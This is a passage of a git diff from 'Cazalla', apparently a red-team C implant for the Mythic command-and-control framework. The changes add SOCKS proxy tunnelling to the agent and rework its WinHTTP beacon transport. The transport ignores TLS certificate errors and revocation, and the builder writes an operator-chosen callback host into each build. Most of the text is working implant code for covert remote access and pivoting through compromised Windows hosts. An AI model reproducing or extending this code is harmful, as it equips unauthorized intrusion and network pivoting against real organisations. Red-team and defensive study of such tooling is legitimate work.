reply[1] = 0x00; // Success + reply[2] = 0x00; // Reserved + reply[3] = 0x01; // IPv4 + /* Copiar IP (4 bytes en network byte order) */ + memcpy(&reply[4], &bound.ipv4, 4); + /* Copiar puerto (2 bytes en network byte order) */ + memcpy(&reply[8], &bound.port, 2); + + printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n", + server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port)); + fflush(stdout); + + socks_msg_t m = {server_id, 0, reply, sizeof(reply)}; + enqueue_outgoing(&m); + printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id); + fflush(stdout); + return 0; + } else { + printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len); + fflush(stdout); + if (e->sock != INVALID_SOCKET) { + size_t total = 0; + while (total < data_len) { + printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len); + fflush(stdout); + int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0); + printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w); + fflush(stdout); + if (w <= 0) { + printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id); + fflush(stdout); + DBG_PRINTF("send error sid=%u w=%d", server_id, w); + remove_entry(server_id); + socks_msg_t m = {server_id, 1, NULL, 0}; + enqueue_outgoing(&m); + return -1; + } + total += w; + } + printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len); + fflush(stdout); + DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id); + return 0; + } else { + printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id); + fflush(stdout); + return -2; + } + } +} + +/* === Stubs start/stop === */ +int socks_manager_start_proxy(uint16_t local_port) { + socks_proxy_active = 1; + DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port); + (void)local_port; + return 0; +} + +int socks_manager_stop_proxy(void) { + DBG_PRINTF("socks_manager_stop_proxy()"); + socks_proxy_active = 0; +#ifdef _WIN32 + EnterCriticalSection(&conn_lock); +#else + pthread_mutex_lock(&conn_lock); +#endif + conn_entry_t *cur = conn_list; + while (cur) { + if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); + cur = cur->next; + } +#ifdef _WIN32 + LeaveCriticalSection(&conn_lock); +#else + pthread_mutex_unlock(&conn_lock); +#endif + return 0; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.h new file mode 100644 index 0000000..9adf687 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.h @@ -0,0 +1,43 @@ +#ifndef SOCKS_MANAGER_H +#define SOCKS_MANAGER_H + +#include +#include + +/* ==== Estructura básica de mensaje SOCKS ==== */ +typedef struct socks_msg_s { + uint32_t server_id; + int exit_flag; + unsigned char *data; + size_t data_len; +} socks_msg_t; + +/* ==== Callbacks ==== */ +typedef void (*socks_send_cb_t)( + uint32_t server_id, + int exit_flag, + const unsigned char *data, + size_t data_len, + void *ctx +); + +/* ==== Estado global ==== */ +extern volatile int socks_proxy_active; // indica si el proxy SOCKS está activo + +/* ==== API pública ==== */ +void socks_manager_init(void); +void socks_manager_cleanup(void); + +int socks_manager_process_incoming( + uint32_t server_id, + int exit_flag, + const unsigned char *data, + size_t data_len +); + +void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx); + +int socks_manager_start_proxy(uint16_t local_port); +int socks_manager_stop_proxy(void); + +#endif /* SOCKS_MANAGER_H */ diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c index 1566ef7..54a74b3 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c @@ -1,15 +1,47 @@ #include "transporte.h" +#include "socks_manager.h" +#define _WIN32_WINNT 0x0602 +#include + +#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION +#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70 +#endif + +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif + +/* ======================================================= + Obtener código de estado HTTP + ======================================================= */ int obtenerCodigoDeEstado(HANDLE hPeticion) { - - DWORD codigoDeEstado = 0; - DWORD tamanoEstado = sizeof(DWORD); - if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) - return 0; - return codigoDeEstado; + DWORD codigoDeEstado = 0; + DWORD tamanoEstado = sizeof(DWORD); + if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) + return 0; + return codigoDeEstado; } +/* ======================================================= + Procesar tráfico SOCKS desde respuesta HTTP + ======================================================= */ +static VOID procesarSocksEntrante(PAnalizador respuesta) { + /* Placeholder desactivado: la estructura Analizador no define bloques. + Mantener función para futuras extensiones sin romper build. */ + (void)respuesta; +} + +/* ======================================================= + Petición HTTP (envío + recepción) + ======================================================= */ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { + printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen); + fflush(stdout); + HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; PVOID respBuffer = NULL; @@ -17,11 +49,8 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { UCHAR buffer[1024] = { 0 }; DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; - // Configuración de Proxy WINHTTP_PROXY_INFO infoProxy = { 0 }; WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; - WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 }; - DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; @@ -35,31 +64,65 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { httpFlags |= WINHTTP_FLAG_SECURE; } - // Crear sesión HTTP + printf("[TRANSPORTE] WinHttpOpen()\n"); + fflush(stdout); hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); - if (!hSesion) return NULL; + if (!hSesion) { + printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError()); + fflush(stdout); + return NULL; + } + printf("[TRANSPORTE] WinHttpOpen OK\n"); + fflush(stdout); - // Conectar al servidor + printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp); + fflush(stdout); hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); - if (!hConexion) return NULL; + if (!hConexion) { + printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError()); + fflush(stdout); + WinHttpCloseHandle(hSesion); + return NULL; + } + printf("[TRANSPORTE] WinHttpConnect OK\n"); + fflush(stdout); - // Crear petición HTTP/HTTPS + printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n", + cazallaConfig->endPoint, cazallaConfig->metodoHttp, httpFlags); + fflush(stdout); hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); - if (!hPeticion) return NULL; + if (!hPeticion) { + printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError()); + fflush(stdout); + WinHttpCloseHandle(hConexion); + WinHttpCloseHandle(hSesion); + return NULL; + } + printf("[TRANSPORTE] WinHttpOpenRequest OK\n"); + fflush(stdout); - // Configurar opciones de seguridad si es HTTPS if (cazallaConfig->SSL) { + printf("[TRANSPORTE] Configurando opciones SSL\n"); + fflush(stdout); DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - - WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); + if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) { + printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError()); + fflush(stdout); + } else { + printf("[TRANSPORTE] SSL flags configurados OK\n"); + fflush(stdout); + } + + // También configurar para deshabilitar revocación de certificados + DWORD dwEnableSSLRevocCheck = 0; + WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD)); } - // Configurar proxy si está habilitado if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { - if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { + if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) { infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; infoProxy.lpszProxy = configuracionProxy.lpszProxy; infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; @@ -67,57 +130,156 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { } } - // Enviar la petición + printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen); + fflush(stdout); if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { - _err("WinHttpSendRequest falló con error %u\n", GetLastError()); + printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError()); + fflush(stdout); + WinHttpCloseHandle(hPeticion); + WinHttpCloseHandle(hConexion); + WinHttpCloseHandle(hSesion); return NULL; } + printf("[TRANSPORTE] WinHttpSendRequest OK\n"); + fflush(stdout); - // Recibir respuesta + printf("[TRANSPORTE] Esperando respuesta...\n"); + fflush(stdout); if (!WinHttpReceiveResponse(hPeticion, NULL)) { - _err("Error al recibir respuesta HTTP\n"); + printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError()); + fflush(stdout); + WinHttpCloseHandle(hPeticion); + WinHttpCloseHandle(hConexion); + WinHttpCloseHandle(hSesion); return NULL; } + printf("[TRANSPORTE] WinHttpReceiveResponse OK\n"); + fflush(stdout); codigoDeEstado = obtenerCodigoDeEstado(hPeticion); + printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado); + fflush(stdout); if (codigoDeEstado != 200) { - _err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); + printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado); + fflush(stdout); + WinHttpCloseHandle(hPeticion); + WinHttpCloseHandle(hConexion); + WinHttpCloseHandle(hSesion); return NULL; } + printf("[TRANSPORTE] HTTP status OK (200)\n"); + fflush(stdout); - // Leer respuesta do { dwTamano = 1024; if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { - _err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); - return NULL; + _err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError()); + break; } + if (dwTamano == 0) break; if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { - _err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); - return NULL; + _err("WinHttpReadData falló (%lu)\n", GetLastError()); + break; } respSize += dwDescargado; - if (!respBuffer) { - respBuffer = LocalAlloc(LPTR, respSize); - } - else { - respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT); - } + respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT) + : LocalAlloc(LPTR, respSize); memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); - memset(buffer, 0, 1024); - + printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize); + fflush(stdout); + memset(buffer, 0, sizeof(buffer)); } while (dwTamano > 0); - respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); - return nuevoAnalizador((PBYTE)respBuffer, respSize); -} -Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { + printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize); + fflush(stdout); + WinHttpCloseHandle(hPeticion); + WinHttpCloseHandle(hConexion); + WinHttpCloseHandle(hSesion); + respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize); + + /* Desempaquetar bloque de extensión SOCKS si está presente al final: + [ ... base message ... ][0xF5][Int32 ext_len][ext_bytes] + donde ext_bytes = secuencia de registros: [Int32 sid][Byte exit][Int32 b64len][b64] + */ + printf("[TRANSPORTE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes\n", analizador ? analizador->tamano : 0); + fflush(stdout); + if (analizador && analizador->tamano >= 1 + 4) { + SIZE_T i = analizador->tamano; + /* leer backwards el tamaño y marcador; más simple: parse forwards on a temp cursor */ + PBYTE buf = analizador->original; + SIZE_T len = analizador->tamano; + if (len >= 5 && buf[len - (1 + 4)] == (BYTE)SOCKS_BLOCK_MARKER) { + /* This backwards check is brittle; instead, scan from start for marker */ + } + SIZE_T cursor = 0; + while (cursor + 5 <= len) { + if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) { + printf("[TRANSPORTE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor); + fflush(stdout); + if (cursor + 5 > len) break; + UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4]; + printf("[TRANSPORTE] Bloque SOCKS: ext_len=%u\n", ext_len); + fflush(stdout); + if (cursor + 5 + ext_len > len) break; + SIZE_T ecur = cursor + 5; + SIZE_T eend = cursor + 5 + ext_len; + while (ecur + 9 <= eend) { + UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3]; + BYTE exitf = buf[ecur+4]; + UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8]; + printf("[TRANSPORTE] SOCKS msg: sid=%u exit=%u b64len=%u\n", sid, exitf, b64len); + fflush(stdout); + ecur += 9; + if (ecur + b64len > eend) break; + unsigned char *raw = NULL; size_t raw_len = 0; + char *b64str = NULL; + if (b64len > 0) { + b64str = (char*)LocalAlloc(LPTR, b64len + 1); + if (!b64str) break; + memcpy(b64str, buf + ecur, b64len); + b64str[b64len] = '\0'; + printf("[TRANSPORTE] Decodificando base64: %s\n", b64str); + fflush(stdout); + base64_decode(b64str, &raw, &raw_len); + printf("[TRANSPORTE] Base64 decodificado: %zu bytes\n", raw_len); + fflush(stdout); + LocalFree(b64str); + } + printf("[TRANSPORTE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len); + fflush(stdout); + socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len); + if (raw) LocalFree(raw); + ecur += b64len; + } + /* remove extension from the analyzer's view */ + analizador->tamano = cursor; /* trim at marker */ + printf("[TRANSPORTE] Bloque SOCKS procesado, tamaño del analizador ajustado a %zu\n", cursor); + fflush(stdout); + break; + } + cursor++; + } + } + + printf("[TRANSPORTE] realizarPeticionHTTP() completado\n"); + fflush(stdout); + return analizador; +} + +/* ======================================================= + Función principal de transporte (puente con el resto) + ======================================================= */ +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { #ifdef HTTP_TRANSPORT - return realizarPeticionHTTP(datos, tamano); + printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano); + fflush(stdout); + return realizarPeticionHTTP(datos, (UINT32)tamano); +#else + return NULL; #endif - return NULL; -} \ No newline at end of file +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h index 7463fd4..2fa2be5 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h @@ -6,6 +6,7 @@ #include #include "cazalla.h" #include "analizador.h" +#include "socks_manager.h" // <— añadido #pragma comment(lib, "winhttp.lib") @@ -13,4 +14,4 @@ Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano); -#endif \ No newline at end of file +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index d332463..e51e929 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -1,5 +1,11 @@ #include "utils.h" +#ifdef DEBUG_SOCKS +#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) +#else +#define DBG_PRINTF(...) ((void)0) +#endif + int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, @@ -10,26 +16,20 @@ int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; size_t b64tamanoCodificado(size_t inlen) { - size_t ret; - ret = inlen; if (inlen % 3 != 0) ret += 3 - (inlen % 3); ret /= 3; ret *= 4; - return ret; } int aleatorioInt32(int min, int max) { - return (rand() % (max - min + 1)) + min; - } char* b64Codificado(const unsigned char* in, SIZE_T len) { - char* out; SIZE_T elen; SIZE_T i; @@ -48,7 +48,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) { out[elen] = '\0'; for (i = 0, j = 0; i < len; i += 3, j += 4) { - v = in[i]; v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; @@ -56,18 +55,13 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) { out[j] = b64chars[(v >> 18) & 0x3F]; out[j + 1] = b64chars[(v >> 12) & 0x3F]; if (i + 1 < len) { - out[j + 2] = b64chars[(v >> 6) & 0x3F]; - } - else { - + } else { out[j + 2] = '='; } if (i + 2 < len) { - out[j + 3] = b64chars[v & 0x3F]; - } - else { + } else { out[j + 3] = '='; } } @@ -76,7 +70,6 @@ char* b64Codificado(const unsigned char* in, SIZE_T len) { } SIZE_T b64tamanoDecodificado(const char* in) { - SIZE_T len; SIZE_T ret; SIZE_T i; @@ -91,8 +84,7 @@ SIZE_T b64tamanoDecodificado(const char* in) { for (i = len; i-- > 0; ) { if (in[i] == '=') { ret--; - } - else { + } else { break; } } @@ -101,28 +93,14 @@ SIZE_T b64tamanoDecodificado(const char* in) { } int b64IsValidChar(char c) { - - if (c >= '0' && c <= '9') { - return 1; - } - - if (c >= 'A' && c <= 'Z') { - return 1; - } - - if (c >= 'a' && c <= 'z') { - return 1; - } - - if (c == '+' || c == '/' || c == '=') { - return 1; - } - + if (c >= '0' && c <= '9') return 1; + if (c >= 'A' && c <= 'Z') return 1; + if (c >= 'a' && c <= 'z') return 1; + if (c == '+' || c == '/' || c == '=') return 1; return 0; } int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { - SIZE_T len; SIZE_T i; SIZE_T j; @@ -155,14 +133,12 @@ int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { } if (in[i + 3] != '=') { out[j + 2] = v & 0xFF; - } } return 1; } VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { - (buffer)[0] = (value >> 24) & 0xFF; (buffer)[1] = (value >> 16) & 0xFF; (buffer)[2] = (value >> 8) & 0xFF; @@ -170,27 +146,67 @@ VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { } VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { - - buffer[7] = value & 0xFF; - value >>= 8; - - buffer[6] = value & 0xFF; - value >>= 8; - - buffer[5] = value & 0xFF; - value >>= 8; - - buffer[4] = value & 0xFF; - value >>= 8; - - buffer[3] = value & 0xFF; - value >>= 8; - - buffer[2] = value & 0xFF; - value >>= 8; - - buffer[1] = value & 0xFF; - value >>= 8; - + buffer[7] = value & 0xFF; value >>= 8; + buffer[6] = value & 0xFF; value >>= 8; + buffer[5] = value & 0xFF; value >>= 8; + buffer[4] = value & 0xFF; value >>= 8; + buffer[3] = value & 0xFF; value >>= 8; + buffer[2] = value & 0xFF; value >>= 8; + buffer[1] = value & 0xFF; value >>= 8; buffer[0] = value & 0xFF; -} \ No newline at end of file +} + +/* ========================================================= + Wrappers para interfaz simple de base64 (socks_manager) + - base64_decode: asigna *out con LocalAlloc; devuelve 1 en ok. + - base64_encode: asigna *out_b64 con LocalAlloc; devuelve 1 en ok. + ========================================================= */ + +int base64_decode(const char *b64, unsigned char **out, size_t *out_len) { + if (!b64 || !out || !out_len) return 0; + SIZE_T need = b64tamanoDecodificado(b64); + if (need == 0) { + *out = NULL; + *out_len = 0; + return 1; /* empty input is OK */ + } + + unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need); + if (!buf) { + DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need); + return 0; + } + + int ok = b64Decodificado(b64, buf, need); + if (!ok) { + LocalFree(buf); + DBG_PRINTF("base64_decode: b64Decodificado failed"); + return 0; + } + + *out = buf; + *out_len = (size_t)need; + DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len); + return 1; +} + +int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) { + if ((!data && dlen>0) || !out_b64) return 0; + if (dlen == 0) { + *out_b64 = (char*)LocalAlloc(LPTR, 1); + if (!*out_b64) return 0; + (*out_b64)[0] = '\0'; + return 1; + } + + char *s = b64Codificado(data, (SIZE_T)dlen); + if (!s) { + DBG_PRINTF("base64_encode: b64Codificado failed"); + return 0; + } + + /* b64Codificado already uses LocalAlloc in original impl */ + *out_b64 = s; + DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64); + return 1; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h index 5ba8d84..a1d3ce1 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -5,7 +5,8 @@ #include #include #include "debug.h" - +#include +#include #ifdef __MINGW64__ #define BYTESWAP32(x) __builtin_bswap32( x ) @@ -24,4 +25,12 @@ int aleatorioInt32(int min, int max); VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); + +/* Wrappers compatibles con la interfaz usada por socks_manager.c */ +int base64_decode(const char *b64, unsigned char **out, size_t *out_len); +/* Allocates *out via LocalAlloc; caller must LocalFree(*out). Returns 1 on success, 0 on fail. */ + +int base64_encode(const unsigned char *data, size_t dlen, char **out_b64); +/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */ + #endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py index eaf77a8..106a915 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -1,131 +1,134 @@ -import pathlib -import tempfile -from mythic_container.PayloadBuilder import * -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import json -from distutils.dir_util import copy_tree -import asyncio - - -class CazallaAgent(PayloadType): - name = "Cazalla" - file_extension = "exe" - author = "OFSTeam" - supported_os = [SupportedOS.Windows] - wrapper = False - wrapped_payloads = [] - note = """C implant Developed by the Kaseya OFSTeam""" - supports_dynamic_loading = False - c2_profiles = ["http"] - mythic_encrypts = False - translation_container = "cazalla_translator" - build_parameters = [ - BuildParameter( - name="output", - parameter_type=BuildParameterType.ChooseOne, - description="Choose output format", - choices=["exe", "dll", "debug_exe","debug_dll"], - default_value="exe" - ), - ] - agent_path = pathlib.Path(".") / "cazalla" - agent_icon_path = agent_path / "agent_functions" / "cazalla.png" - agent_code_path = agent_path / "agent_code" - - build_steps = [ - BuildStep(step_name="Gathering Files", step_description="Creating script payload"), - BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), - BuildStep(step_name="Compiling", step_description="Compiling with mingw"), - ] - - async def build(self) -> BuildResponse: - # this function gets called to create an instance of your payload - resp = BuildResponse(status=BuildStatus.Success) - Config = { - "payload_uuid": self.uuid, - "callback_host": "", - "USER_AGENT": "", - "httpMethod": "POST", - "post_uri": "", - "headers": [], - "callback_port": 80, - "ssl":False, - "proxyEnabled": False, - "proxy_host": "", - "proxy_user": "", - "proxy_pass": "", - } - stdout_err = "" - for c2 in self.c2info: - profile = c2.get_c2profile() - for key, val in c2.get_parameters_dict().items(): - if isinstance(val, dict) and 'enc_key' in val: - stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "") - encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else "" - else: - Config[key] = val - break - - if "https://" in Config["callback_host"]: - Config["ssl"] = True - - Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","") - if Config["proxy_host"] != "": - Config["proxyEnabled"] = True - # create the payload - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Gathering Files", - StepStdout="Found all files for payload", - StepSuccess=True - )) - agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) - copy_tree(str(self.agent_code_path), agent_build_path.name) - - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Applying configuration", - StepStdout="All configuration setting applied", - StepSuccess=True - )) - with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f: - content = f.read() - content = content.replace("%UUID%", Config["payload_uuid"]) - content = content.replace("%HOSTNAME%", Config["callback_host"]) - content = content.replace("%ENDPOINT%", Config["post_uri"]) - if Config["ssl"]: - content = content.replace("%SSL%", "TRUE") - else: - content = content.replace("%SSL%", "FALSE") - content = content.replace("%PORT%", str(Config["callback_port"])) - content = content.replace("%SLEEPTIME%", str(Config["callback_interval"])) - content = content.replace("%USERAGENT%", Config["USER_AGENT"]) - content = content.replace("%PROXYURL%", Config["proxy_host"]) - if Config["proxyEnabled"]: - content = content.replace("%PROXYENABLED%", "TRUE") - else: - content = content.replace("%PROXYENABLED%", "FALSE") - f.seek(0) - f.write(content) - f.truncate() - - command = "make -C {} exe".format(agent_build_path.name+"/cazalla") - filename = agent_build_path.name + "/cazalla/build/cazalla.exe" - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE) - - stdout, stderr = await proc.communicate() - print(stdout) - print(stderr) - - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout="Successfuly compiled Ra", - StepSuccess=True - )) - build_msg = "" - resp.payload = open(filename, "rb").read() - - return resp +import pathlib +import tempfile +from mythic_container.PayloadBuilder import * +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json +from distutils.dir_util import copy_tree +import asyncio + + +class CazallaAgent(PayloadType): + name = "Cazalla" + file_extension = "exe" + author = "OFSTeam" + supported_os = [SupportedOS.Windows] + wrapper = False + wrapped_payloads = [] + note = """C implant Developed by the Kaseya OFSTeam""" + supports_dynamic_loading = False + c2_profiles = ["http"] + mythic_encrypts = False + translation_container = "cazalla_translator" + build_parameters = [ + BuildParameter( + name="output", + parameter_type=BuildParameterType.ChooseOne, + description="Choose output format", + choices=["exe", "dll", "debug_exe","debug_dll"], + default_value="exe" + ), + ] + agent_path = pathlib.Path(".") / "cazalla" + agent_icon_path = agent_path / "agent_functions" / "cazalla.png" + agent_code_path = agent_path / "agent_code" + + build_steps = [ + BuildStep(step_name="Gathering Files", step_description="Creating script payload"), + BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"), + BuildStep(step_name="Compiling", step_description="Compiling with mingw"), + ] + + async def build(self) -> BuildResponse: + resp = 